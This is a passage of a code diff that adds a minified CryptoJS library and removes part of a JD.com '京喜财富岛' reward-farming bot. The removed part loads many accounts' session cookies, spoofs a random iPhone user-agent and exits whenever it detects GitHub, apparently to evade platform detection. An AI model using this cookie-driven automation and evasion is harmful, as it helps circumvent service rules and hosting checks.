this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) - }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t -}); -const $ = new Env("京喜财富岛"); -const JD_API_HOST = "https://m.jingxi.com/"; -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; -$.notifyTime = $.getdata("cfd_notifyTime"); -$.result = []; -$.shareCodes = []; -let cookiesArr = [], cookie = '', token = ''; -let UA, UAInfo = {}; -let nowTimes; -const randomCount = $.isNode() ? 20 : 3; -$.appId = 10032; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; - await requestAlgo(); - await $.wait(1000) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.nickName = ''; - $.isLogin = true; - UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - UAInfo[$.UserName] = UA - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.allTask = [] - $.info = {} - token = await getJxToken() - await cfd(); - await $.wait(2000); + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = 